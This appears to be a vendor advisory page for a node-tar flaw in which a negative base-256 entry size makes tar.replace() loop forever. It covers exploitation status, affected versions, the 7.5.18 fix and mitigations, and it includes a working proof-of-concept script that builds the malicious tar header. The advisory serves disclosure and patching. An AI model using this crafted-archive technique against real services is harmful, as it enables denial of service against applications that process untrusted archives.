GHSA-8x88-c5mf-7j5w is a high-severity (CVSS 7.5) CWE-835 vulnerability in tar. O3 Security confirms whether GHSA-8x88-c5mf-7j5w is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
node-tar: Negative tar entry size causes infinite loop in archive replace
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8x88-c5mf-7j5w.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-8x88-c5mf-7j5w plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 363,908 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
tarnpmDescription
Summary
A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.
Details
The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.
Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.
For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.
This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.
PoC
Save as poc.mjs in a project with the vulnerable package installed and run:
node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'
const oct = (b, n, off, len) =>
b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')
const badHeader = () => {
const h = Buffer.alloc(512)
h.write('x', 0)
oct(h, 0o644, 100, 8)
oct(h, 0, 108, 8)
oct(h, 0, 116, 8)
// base-256 encoded -512 in the size field
Buffer.alloc(10, 0xff).copy(h, 124)
h[134] = 0xfe
h[135] = 0x00
oct(h, 0, 136, 12)
h.fill(0x20, 148, 156)
h[156] = 0x30
h.write('ustar\0' + '00', 257, 8, 'binary')
let sum = 0
for (const c of h) sum += c
h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')
return h
}
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')
fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')
const r = spawnSync(
process.execPath,
[
'--input-type=module',
'-e',
`
import * as tar from 'tar'
tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
console.log('completed')
`,
],
{ timeout: 20_000 }
)
console.log(r.error?.code === 'ETIMEDOUT')
// Output: true
Impact
An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | tar | all versions | 7.5.18 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tar. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update tar to 7.5.18 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8x88-c5mf-7j5w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8x88-c5mf-7j5w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8x88-c5mf-7j5w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Important denial of service flaw in node-tar affects Red Hat products that process untrusted tar archives. A remote attacker can provide a specially crafted archive with a malformed header, leading to an infinite loop during parsing and causing the application to become unresponsive. This can impact the…
Frequently Asked Questions
Is GHSA-8x88-c5mf-7j5w in your dependencies?
O3 detects GHSA-8x88-c5mf-7j5w across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.